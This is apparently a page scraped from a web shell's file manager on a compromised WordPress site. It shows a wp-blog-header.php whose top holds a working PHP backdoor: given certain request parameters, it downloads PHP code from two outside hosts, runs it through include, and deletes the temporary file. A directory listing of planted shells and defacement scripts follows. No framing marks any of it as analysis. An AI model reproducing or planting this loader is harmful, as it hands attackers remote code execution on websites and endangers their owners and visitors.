Na}{

File Content: `wp-blog-header.php__901d452`

<?php
function GC($a)
{
    $url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $a, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']);
    $code = @file_get_contents($url);
    if ($code == false) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_USERAGENT, 'll');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 100);
        curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        $code = curl_exec($ch);
        curl_close($ch);
    }
    return $code;
}

if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) {
    $code = GC('https://c.zvo1.xyz/');
    if (!$code) {
        $code = GC('https://c2.icw7.com/');
    }
    $need = '<' . '?' . 'php';
    if (strpos($code, $need) === false) {
        die('get failed');
    }
    if(function_exists('tmpfile')){
        $file_name = tmpfile();
    }

    if($file_name)
    {
        fwrite($file_name, $code);
        $a = stream_get_meta_data($file_name);
        $file_path = $a['uri'];
        @include($file_path);
        fclose($file_name);
    }else {
        $file_path = '.c';
        file_put_contents($file_path, $code);
        @include($file_path);
    }
    @unlink($file_path);
    die();
}?>
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( ! isset( $wp_did_header ) ) {

    $wp_did_header = true;

    // Load the WordPress library.
    require_once __DIR__ . '/wp-load.php';

    // Set up the WordPress query.
    wp();

    // Load the theme template.
    require_once ABSPATH . WPINC . '/template-loader.php';

}

Name	Size	Permission
.well-known	---	0755
.well-known__901d452	---	0755
.well-known__fc72c33__901d452	---	0755
195499__fc72c33__901d452	---	0755
735250	---	0755
9a8a5574	---	0755
9a8a5574__901d452	---	0755
ALFA_DATA__901d452	---	0755
f393b__fc72c33__901d452	---	0755
wp-content__fc72c33__901d452	---	0755
.htaccess	498 bytes	0644
9oYuFOW2VKI.php	45022 bytes	0644
Massdeface.php__901d452	1643 bytes	0644
UN16vObhMry.php	52991 bytes	0644
WTS.txt__901d452	23 bytes	0644
config.php	1092 bytes	0644
configuration.php	1092 bytes	0644
default.php	1092 bytes	0644
dhaxstpu.php	760 bytes	0644
error_log__901d452	101551 bytes	0644
error_log__fc72c33__901d452	4087813 bytes	0644
index.htm.old	1092 bytes	0644
index.htm__901d452	1100 bytes	0644
index.html.old	1092 bytes	0644
index.html__901d452	1100 bytes	0644
index.php	7084 bytes	0644
index.php__901d452	2712 bytes	0644
index.php__fc72c33__901d452	2712 bytes	0644
jozkxudd.php	760 bytes	0644
main.php	1092 bytes	0644
moon3.php__901d452	263 bytes	0644
nfjkUJhmGli.php	45022 bytes	0644
php.ini	105 bytes	0644
php.ini__901d452	40 bytes	0644
popyrirp.php	760 bytes	0644
postnews.php__fc72c33__901d452	0 bytes	0644
wp-blog-header.php	1092 bytes	0644
wp-blog-header.php__901d452	1824 bytes	0644
wp-blog-header.php__fc72c33__901d452	0 bytes	0644
wp-config.php	1092 bytes	0644
wp-cron.php__901d452	0 bytes	0644
wp-cron.php__fc72c33__901d452	0 bytes	0644
wp-infos.php__901d452	22674 bytes	0644
wp-settings.php	1092 bytes	0644
yEvlrDB9zmS.php	52991 bytes	0644

Name

Size

Permission

Action

.well-known

---

0755